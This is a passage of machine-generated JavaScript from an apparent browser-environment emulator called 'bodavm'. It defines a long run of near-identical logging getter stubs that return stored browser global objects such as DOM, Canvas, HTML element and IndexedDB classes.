() { let arg = bodavm.memory.globalobj['CSSTranslate']; console.log_copy(`window_CSSTranslate`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSUnitValue = function () { let arg = bodavm.memory.globalobj['CSSUnitValue']; console.log_copy(`window_CSSUnitValue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSUnparsedValue = function () { let arg = bodavm.memory.globalobj['CSSUnparsedValue']; console.log_copy(`window_CSSUnparsedValue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSVariableReferenceValue = function () { let arg = bodavm.memory.globalobj['CSSVariableReferenceValue']; console.log_copy(`window_CSSVariableReferenceValue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CanvasCaptureMediaStreamTrack = function () { let arg = bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack']; console.log_copy(`window_CanvasCaptureMediaStreamTrack`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CanvasFilter = function () { let arg = bodavm.memory.globalobj['CanvasFilter']; console.log_copy(`window_CanvasFilter`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CanvasGradient = function () { let arg = bodavm.memory.globalobj['CanvasGradient']; console.log_copy(`window_CanvasGradient`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CanvasPattern = function () { let arg = bodavm.memory.globalobj['CanvasPattern']; console.log_copy(`window_CanvasPattern`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CanvasRenderingContext2D = function () { let arg = bodavm.memory.globalobj['CanvasRenderingContext2D']; console.log_copy(`window_CanvasRenderingContext2D`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ChannelMergerNode = function () { let arg = bodavm.memory.globalobj['ChannelMergerNode']; console.log_copy(`window_ChannelMergerNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ChannelSplitterNode = function () { let arg = bodavm.memory.globalobj['ChannelSplitterNode']; console.log_copy(`window_ChannelSplitterNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CharacterData = function () { let arg = bodavm.memory.globalobj['CharacterData']; console.log_copy(`window_CharacterData`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ClipboardEvent = function () { let arg = bodavm.memory.globalobj['ClipboardEvent']; console.log_copy(`window_ClipboardEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CloseEvent = function () { let arg = bodavm.memory.globalobj['CloseEvent']; console.log_copy(`window_CloseEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Comment = function () { let arg = bodavm.memory.globalobj['Comment']; console.log_copy(`window_Comment`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CompositionEvent = function () { let arg = bodavm.memory.globalobj['CompositionEvent']; console.log_copy(`window_CompositionEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CompressionStream = function () { let arg = bodavm.memory.globalobj['CompressionStream']; console.log_copy(`window_CompressionStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ConstantSourceNode = function () { let arg = bodavm.memory.globalobj['ConstantSourceNode']; console.log_copy(`window_ConstantSourceNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ConvolverNode = function () { let arg = bodavm.memory.globalobj['ConvolverNode']; console.log_copy(`window_ConvolverNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CountQueuingStrategy = function () { let arg = bodavm.memory.globalobj['CountQueuingStrategy']; console.log_copy(`window_CountQueuingStrategy`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Crypto = function () { let arg = bodavm.memory.globalobj['Crypto']; console.log_copy(`window_Crypto`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CustomEvent = function () { let arg = bodavm.memory.globalobj['CustomEvent']; console.log_copy(`window_CustomEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMError = function () { let arg = bodavm.memory.globalobj['DOMError']; console.log_copy(`window_DOMError`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMException = function () { let arg = bodavm.memory.globalobj['DOMException']; console.log_copy(`window_DOMException`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMImplementation = function () { let arg = bodavm.memory.globalobj['DOMImplementation']; console.log_copy(`window_DOMImplementation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMMatrix = function () { let arg = bodavm.memory.globalobj['DOMMatrix']; console.log_copy(`window_DOMMatrix`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMMatrixReadOnly = function () { let arg = bodavm.memory.globalobj['DOMMatrixReadOnly']; console.log_copy(`window_DOMMatrixReadOnly`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMParser = function () { let arg = bodavm.memory.globalobj['DOMParser']; console.log_copy(`window_DOMParser`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMPoint = function () { let arg = bodavm.memory.globalobj['DOMPoint']; console.log_copy(`window_DOMPoint`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMPointReadOnly = function () { let arg = bodavm.memory.globalobj['DOMPointReadOnly']; console.log_copy(`window_DOMPointReadOnly`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMQuad = function () { let arg = bodavm.memory.globalobj['DOMQuad']; console.log_copy(`window_DOMQuad`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMRect = function () { let arg = bodavm.memory.globalobj['DOMRect']; console.log_copy(`window_DOMRect`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMRectList = function () { let arg = bodavm.memory.globalobj['DOMRectList']; console.log_copy(`window_DOMRectList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMRectReadOnly = function () { let arg = bodavm.memory.globalobj['DOMRectReadOnly']; console.log_copy(`window_DOMRectReadOnly`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMStringList = function () { let arg = bodavm.memory.globalobj['DOMStringList']; console.log_copy(`window_DOMStringList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMStringMap = function () { let arg = bodavm.memory.globalobj['DOMStringMap']; console.log_copy(`window_DOMStringMap`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMTokenList = function () { let arg = bodavm.memory.globalobj['DOMTokenList']; console.log_copy(`window_DOMTokenList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DataTransfer = function () { let arg = bodavm.memory.globalobj['DataTransfer']; console.log_copy(`window_DataTransfer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DataTransferItem = function () { let arg = bodavm.memory.globalobj['DataTransferItem']; console.log_copy(`window_DataTransferItem`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DataTransferItemList = function () { let arg = bodavm.memory.globalobj['DataTransferItemList']; console.log_copy(`window_DataTransferItemList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DecompressionStream = function () { let arg = bodavm.memory.globalobj['DecompressionStream']; console.log_copy(`window_DecompressionStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DelayNode = function () { let arg = bodavm.memory.globalobj['DelayNode']; console.log_copy(`window_DelayNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DocumentFragment = function () { let arg = bodavm.memory.globalobj['DocumentFragment']; console.log_copy(`window_DocumentFragment`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DocumentType = function () { let arg = bodavm.memory.globalobj['DocumentType']; console.log_copy(`window_DocumentType`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DragEvent = function () { let arg = bodavm.memory.globalobj['DragEvent']; console.log_copy(`window_DragEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DynamicsCompressorNode = function () { let arg = bodavm.memory.globalobj['DynamicsCompressorNode']; console.log_copy(`window_DynamicsCompressorNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Element = function () { let arg = bodavm.memory.globalobj['Element']; console.log_copy(`window_Element`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ElementInternals = function () { let arg = bodavm.memory.globalobj['ElementInternals']; console.log_copy(`window_ElementInternals`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ErrorEvent = function () { let arg = bodavm.memory.globalobj['ErrorEvent']; console.log_copy(`window_ErrorEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Event = function () { let arg = bodavm.memory.globalobj['Event']; console.log_copy(`window_Event`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_EventCounts = function () { let arg = bodavm.memory.globalobj['EventCounts']; console.log_copy(`window_EventCounts`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_EventSource = function () { let arg = bodavm.memory.globalobj['EventSource']; console.log_copy(`window_EventSource`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_EventTarget = function () { let arg = bodavm.memory.globalobj['EventTarget']; console.log_copy(`window_EventTarget`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FeaturePolicy = function () { let arg = bodavm.memory.globalobj['FeaturePolicy']; console.log_copy(`window_FeaturePolicy`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_File = function () { let arg = bodavm.memory.globalobj['File']; console.log_copy(`window_File`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FileList = function () { let arg = bodavm.memory.globalobj['FileList']; console.log_copy(`window_FileList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FileReader = function () { let arg = bodavm.memory.globalobj['FileReader']; console.log_copy(`window_FileReader`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FocusEvent = function () { let arg = bodavm.memory.globalobj['FocusEvent']; console.log_copy(`window_FocusEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FontFace = function () { let arg = bodavm.memory.globalobj['FontFace']; console.log_copy(`window_FontFace`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FontFaceSetLoadEvent = function () { let arg = bodavm.memory.globalobj['FontFaceSetLoadEvent']; console.log_copy(`window_FontFaceSetLoadEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FormData = function () { let arg = bodavm.memory.globalobj['FormData']; console.log_copy(`window_FormData`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FormDataEvent = function () { let arg = bodavm.memory.globalobj['FormDataEvent']; console.log_copy(`window_FormDataEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_GainNode = function () { let arg = bodavm.memory.globalobj['GainNode']; console.log_copy(`window_GainNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Gamepad = function () { let arg = bodavm.memory.globalobj['Gamepad']; console.log_copy(`window_Gamepad`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_GamepadButton = function () { let arg = bodavm.memory.globalobj['GamepadButton']; console.log_copy(`window_GamepadButton`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_GamepadEvent = function () { let arg = bodavm.memory.globalobj['GamepadEvent']; console.log_copy(`window_GamepadEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_GamepadHapticActuator = function () { let arg = bodavm.memory.globalobj['GamepadHapticActuator']; console.log_copy(`window_GamepadHapticActuator`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Geolocation = function () { let arg = bodavm.memory.globalobj['Geolocation']; console.log_copy(`window_Geolocation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_GeolocationCoordinates = function () { let arg = bodavm.memory.globalobj['GeolocationCoordinates']; console.log_copy(`window_GeolocationCoordinates`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_GeolocationPosition = function () { let arg = bodavm.memory.globalobj['GeolocationPosition']; console.log_copy(`window_GeolocationPosition`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_GeolocationPositionError = function () { let arg = bodavm.memory.globalobj['GeolocationPositionError']; console.log_copy(`window_GeolocationPositionError`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLAllCollection = function () { let arg = bodavm.memory.globalobj['HTMLAllCollection']; console.log_copy(`window_HTMLAllCollection`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLAnchorElement = function () { let arg = bodavm.memory.globalobj['HTMLAnchorElement']; console.log_copy(`window_HTMLAnchorElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLAreaElement = function () { let arg = bodavm.memory.globalobj['HTMLAreaElement']; console.log_copy(`window_HTMLAreaElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLAudioElement = function () { let arg = bodavm.memory.globalobj['HTMLAudioElement']; console.log_copy(`window_HTMLAudioElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLBRElement = function () { let arg = bodavm.memory.globalobj['HTMLBRElement']; console.log_copy(`window_HTMLBRElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLBaseElement = function () { let arg = bodavm.memory.globalobj['HTMLBaseElement']; console.log_copy(`window_HTMLBaseElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLBodyElement = function () { let arg = bodavm.memory.globalobj['HTMLBodyElement']; console.log_copy(`window_HTMLBodyElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLButtonElement = function () { let arg = bodavm.memory.globalobj['HTMLButtonElement']; console.log_copy(`window_HTMLButtonElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLCanvasElement = function () { let arg = bodavm.memory.globalobj['HTMLCanvasElement']; console.log_copy(`window_HTMLCanvasElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLCollection = function () { let arg = bodavm.memory.globalobj['HTMLCollection']; console.log_copy(`window_HTMLCollection`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLDListElement = function () { let arg = bodavm.memory.globalobj['HTMLDListElement']; console.log_copy(`window_HTMLDListElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLDataElement = function () { let arg = bodavm.memory.globalobj['HTMLDataElement']; console.log_copy(`window_HTMLDataElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLDataListElement = function () { let arg = bodavm.memory.globalobj['HTMLDataListElement']; console.log_copy(`window_HTMLDataListElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLDetailsElement = function () { let arg = bodavm.memory.globalobj['HTMLDetailsElement']; console.log_copy(`window_HTMLDetailsElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLDialogElement = function () { let arg = bodavm.memory.globalobj['HTMLDialogElement']; console.log_copy(`window_HTMLDialogElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLDirectoryElement = function () { let arg = bodavm.memory.globalobj['HTMLDirectoryElement']; console.log_copy(`window_HTMLDirectoryElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLDivElement = function () { let arg = bodavm.memory.globalobj['HTMLDivElement']; console.log_copy(`window_HTMLDivElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLDocument = function () { let arg = bodavm.memory.globalobj['HTMLDocument']; console.log_copy(`window_HTMLDocument`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLElement = function () { let arg = bodavm.memory.globalobj['HTMLElement']; console.log_copy(`window_HTMLElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLEmbedElement = function () { let arg = bodavm.memory.globalobj['HTMLEmbedElement']; console.log_copy(`window_HTMLEmbedElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLFieldSetElement = function () { let arg = bodavm.memory.globalobj['HTMLFieldSetElement']; console.log_copy(`window_HTMLFieldSetElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLFontElement = function () { let arg = bodavm.memory.globalobj['HTMLFontElement']; console.log_copy(`window_HTMLFontElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLFormControlsCollection = function () { let arg = bodavm.memory.globalobj['HTMLFormControlsCollection']; console.log_copy(`window_HTMLFormControlsCollection`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLFormElement = function () { let arg = bodavm.memory.globalobj['HTMLFormElement']; console.log_copy(`window_HTMLFormElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLFrameElement = function () { let arg = bodavm.memory.globalobj['HTMLFrameElement']; console.log_copy(`window_HTMLFrameElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLFrameSetElement = function () { let arg = bodavm.memory.globalobj['HTMLFrameSetElement']; console.log_copy(`window_HTMLFrameSetElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLHRElement = function () { let arg = bodavm.memory.globalobj['HTMLHRElement']; console.log_copy(`window_HTMLHRElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLHeadElement = function () { let arg = bodavm.memory.globalobj['HTMLHeadElement']; console.log_copy(`window_HTMLHeadElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLHeadingElement = function () { let arg = bodavm.memory.globalobj['HTMLHeadingElement']; console.log_copy(`window_HTMLHeadingElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLHtmlElement = function () { let arg = bodavm.memory.globalobj['HTMLHtmlElement']; console.log_copy(`window_HTMLHtmlElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLIFrameElement = function () { let arg = bodavm.memory.globalobj['HTMLIFrameElement']; console.log_copy(`window_HTMLIFrameElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLImageElement = function () { let arg = bodavm.memory.globalobj['HTMLImageElement']; console.log_copy(`window_HTMLImageElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLInputElement = function () { let arg = bodavm.memory.globalobj['HTMLInputElement']; console.log_copy(`window_HTMLInputElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLLIElement = function () { let arg = bodavm.memory.globalobj['HTMLLIElement']; console.log_copy(`window_HTMLLIElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLLabelElement = function () { let arg = bodavm.memory.globalobj['HTMLLabelElement']; console.log_copy(`window_HTMLLabelElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLLegendElement = function () { let arg = bodavm.memory.globalobj['HTMLLegendElement']; console.log_copy(`window_HTMLLegendElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLLinkElement = function () { let arg = bodavm.memory.globalobj['HTMLLinkElement']; console.log_copy(`window_HTMLLinkElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLMapElement = function () { let arg = bodavm.memory.globalobj['HTMLMapElement']; console.log_copy(`window_HTMLMapElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLMarqueeElement = function () { let arg = bodavm.memory.globalobj['HTMLMarqueeElement']; console.log_copy(`window_HTMLMarqueeElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLMediaElement = function () { let arg = bodavm.memory.globalobj['HTMLMediaElement']; console.log_copy(`window_HTMLMediaElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLMenuElement = function () { let arg = bodavm.memory.globalobj['HTMLMenuElement']; console.log_copy(`window_HTMLMenuElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLMetaElement = function () { let arg = bodavm.memory.globalobj['HTMLMetaElement']; console.log_copy(`window_HTMLMetaElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLMeterElement = function () { let arg = bodavm.memory.globalobj['HTMLMeterElement']; console.log_copy(`window_HTMLMeterElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLModElement = function () { let arg = bodavm.memory.globalobj['HTMLModElement']; console.log_copy(`window_HTMLModElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLOListElement = function () { let arg = bodavm.memory.globalobj['HTMLOListElement']; console.log_copy(`window_HTMLOListElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLObjectElement = function () { let arg = bodavm.memory.globalobj['HTMLObjectElement']; console.log_copy(`window_HTMLObjectElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLOptGroupElement = function () { let arg = bodavm.memory.globalobj['HTMLOptGroupElement']; console.log_copy(`window_HTMLOptGroupElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLOptionElement = function () { let arg = bodavm.memory.globalobj['HTMLOptionElement']; console.log_copy(`window_HTMLOptionElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLOptionsCollection = function () { let arg = bodavm.memory.globalobj['HTMLOptionsCollection']; console.log_copy(`window_HTMLOptionsCollection`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLOutputElement = function () { let arg = bodavm.memory.globalobj['HTMLOutputElement']; console.log_copy(`window_HTMLOutputElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLParagraphElement = function () { let arg = bodavm.memory.globalobj['HTMLParagraphElement']; console.log_copy(`window_HTMLParagraphElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLParamElement = function () { let arg = bodavm.memory.globalobj['HTMLParamElement']; console.log_copy(`window_HTMLParamElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLPictureElement = function () { let arg = bodavm.memory.globalobj['HTMLPictureElement']; console.log_copy(`window_HTMLPictureElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLPreElement = function () { let arg = bodavm.memory.globalobj['HTMLPreElement']; console.log_copy(`window_HTMLPreElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLProgressElement = function () { let arg = bodavm.memory.globalobj['HTMLProgressElement']; console.log_copy(`window_HTMLProgressElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLQuoteElement = function () { let arg = bodavm.memory.globalobj['HTMLQuoteElement']; console.log_copy(`window_HTMLQuoteElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLScriptElement = function () { let arg = bodavm.memory.globalobj['HTMLScriptElement']; console.log_copy(`window_HTMLScriptElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLSelectElement = function () { let arg = bodavm.memory.globalobj['HTMLSelectElement']; console.log_copy(`window_HTMLSelectElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLSlotElement = function () { let arg = bodavm.memory.globalobj['HTMLSlotElement']; console.log_copy(`window_HTMLSlotElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLSourceElement = function () { let arg = bodavm.memory.globalobj['HTMLSourceElement']; console.log_copy(`window_HTMLSourceElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLSpanElement = function () { let arg = bodavm.memory.globalobj['HTMLSpanElement']; console.log_copy(`window_HTMLSpanElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLStyleElement = function () { let arg = bodavm.memory.globalobj['HTMLStyleElement']; console.log_copy(`window_HTMLStyleElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLTableCaptionElement = function () { let arg = bodavm.memory.globalobj['HTMLTableCaptionElement']; console.log_copy(`window_HTMLTableCaptionElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLTableCellElement = function () { let arg = bodavm.memory.globalobj['HTMLTableCellElement']; console.log_copy(`window_HTMLTableCellElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLTableColElement = function () { let arg = bodavm.memory.globalobj['HTMLTableColElement']; console.log_copy(`window_HTMLTableColElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLTableElement = function () { let arg = bodavm.memory.globalobj['HTMLTableElement']; console.log_copy(`window_HTMLTableElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLTableRowElement = function () { let arg = bodavm.memory.globalobj['HTMLTableRowElement']; console.log_copy(`window_HTMLTableRowElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLTableSectionElement = function () { let arg = bodavm.memory.globalobj['HTMLTableSectionElement']; console.log_copy(`window_HTMLTableSectionElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLTemplateElement = function () { let arg = bodavm.memory.globalobj['HTMLTemplateElement']; console.log_copy(`window_HTMLTemplateElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLTextAreaElement = function () { let arg = bodavm.memory.globalobj['HTMLTextAreaElement']; console.log_copy(`window_HTMLTextAreaElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLTimeElement = function () { let arg = bodavm.memory.globalobj['HTMLTimeElement']; console.log_copy(`window_HTMLTimeElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLTitleElement = function () { let arg = bodavm.memory.globalobj['HTMLTitleElement']; console.log_copy(`window_HTMLTitleElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLTrackElement = function () { let arg = bodavm.memory.globalobj['HTMLTrackElement']; console.log_copy(`window_HTMLTrackElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLUListElement = function () { let arg = bodavm.memory.globalobj['HTMLUListElement']; console.log_copy(`window_HTMLUListElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLUnknownElement = function () { let arg = bodavm.memory.globalobj['HTMLUnknownElement']; console.log_copy(`window_HTMLUnknownElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLVideoElement = function () { let arg = bodavm.memory.globalobj['HTMLVideoElement']; console.log_copy(`window_HTMLVideoElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HashChangeEvent = function () { let arg = bodavm.memory.globalobj['HashChangeEvent']; console.log_copy(`window_HashChangeEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Headers = function () { let arg = bodavm.memory.globalobj['Headers']; console.log_copy(`window_Headers`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IDBCursor = function () { let arg = bodavm.memory.globalobj['IDBCursor']; console.log_copy(`window_IDBCursor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IDBCursorWithValue = function () { let arg = bodavm.memory.globalobj['IDBCursorWithValue']; console.log_copy(`window_IDBCursorWithValue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IDBIndex = function () { let arg = bodavm.memory.globalobj['IDBIndex']; console.log_copy(`window_IDBIndex`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IDBKeyRange = function () { let arg = bodavm.memory.globalobj['IDBKeyRange']; console.log_copy(`window_IDBKeyRange`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IDBObjectStore = function () { let arg = bodavm.memory.globalobj['IDBObjectStore']; console.log_copy(`window_IDBObjectStore`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IDBOpenDBRequest = function () { let arg = bodavm.memory.globalobj['IDBOpenDBRequest']; console.log_copy(`window_IDBOpenDBRequest`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IDBRequest = function () { let arg = bodavm.memory.globalobj['IDBRequest']; console.log_copy(`window_IDBRequest`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IDBTransaction = function () { let arg = bodavm.memory.globalobj['IDBTransaction']; console.log_copy(`window_IDBTransaction`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IDBVersionChangeEvent = function () { let arg = bodavm.memory.globalobj['IDBVersionChangeEvent']; console.log_copy(`window_IDBVersionChangeEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IIRFilterNode = function () { let arg = bodavm.memory.globalobj['IIRFilterNode']; console.log_copy(`window_IIRFilterNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IdleDeadline = function () { let arg = bodavm.memory.globalobj['IdleDeadline']; console.log_copy(`window_IdleDeadline`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ImageBitmap = function () { let arg = bodavm.memory.globalobj['ImageBitmap']; console.log_copy(`window_ImageBitmap`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ImageBitmapRenderingContext = function () { let arg = bodavm.memory.globalobj['ImageBitmapRenderingContext']; console.log_copy(`window_ImageBitmapRenderingContext`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ImageCapture = function () { let arg = bodavm.memory.globalobj['ImageCapture']; console.log_copy(`window_ImageCapture`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ImageData = function () { let arg = bodavm.memory.globalobj['ImageData']; console.log_copy(`window_ImageData`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_InputDeviceCapabilities = function () { let arg = bodavm.memory.globalobj['InputDeviceCapabilities']; console.log_copy(`window_InputDeviceCapabilities`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_InputDeviceInfo = function () { let arg = bodavm.memory.globalobj['InputDeviceInfo']; console.log_copy(`window_InputDeviceInfo`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_InputEvent = function () { let arg = bodavm.memory.globalobj['InputEvent']; console.log_copy(`window_InputEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IntersectionObserver = function () { let arg = bodavm.memory.globalobj['IntersectionObserver']; console.log_copy(`window_IntersectionObserver`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IntersectionObserverEntry = function () { let arg = bodavm.memory.globalobj['IntersectionObserverEntry']; console.log_copy(`window_IntersectionObserverEntry`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_KeyboardEvent = function () { let arg = bodavm.memory.globalobj['KeyboardEvent']; console.log_copy(`window_KeyboardEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_KeyframeEffect = function () { let arg = bodavm.memory.globalobj['KeyframeEffect']; 